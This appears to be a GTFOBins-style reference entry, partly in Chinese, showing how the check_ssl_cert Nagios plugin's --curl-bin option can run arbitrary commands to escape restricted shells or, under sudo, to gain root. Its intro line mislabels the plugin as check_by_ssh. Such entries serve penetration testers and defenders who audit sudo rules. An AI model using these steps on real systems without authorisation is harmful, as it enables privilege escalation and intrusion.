.. / check_ssl_cert

This is the check_by_ssh Nagios plugin, available e.g. in /usr/lib/nagios/plugins/.

command

运行非交互式系统命令来摆脱受限环境。

The host example.net must return a certificate via TLS

COMMAND=id
OUTPUT=output_file
TF=$(mktemp)
echo "$COMMAND | tee $OUTPUT" > $TF
chmod +x $TF
check_ssl_cert --curl-bin $TF -H example.net
cat $OUTPUT

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

The host example.net must return a certificate via TLS

COMMAND=id
OUTPUT=output_file
TF=$(mktemp)
echo "$COMMAND | tee $OUTPUT" > $TF
chmod +x $TF
umask 022
check_ssl_cert --curl-bin $TF -H example.net
cat $OUTPUT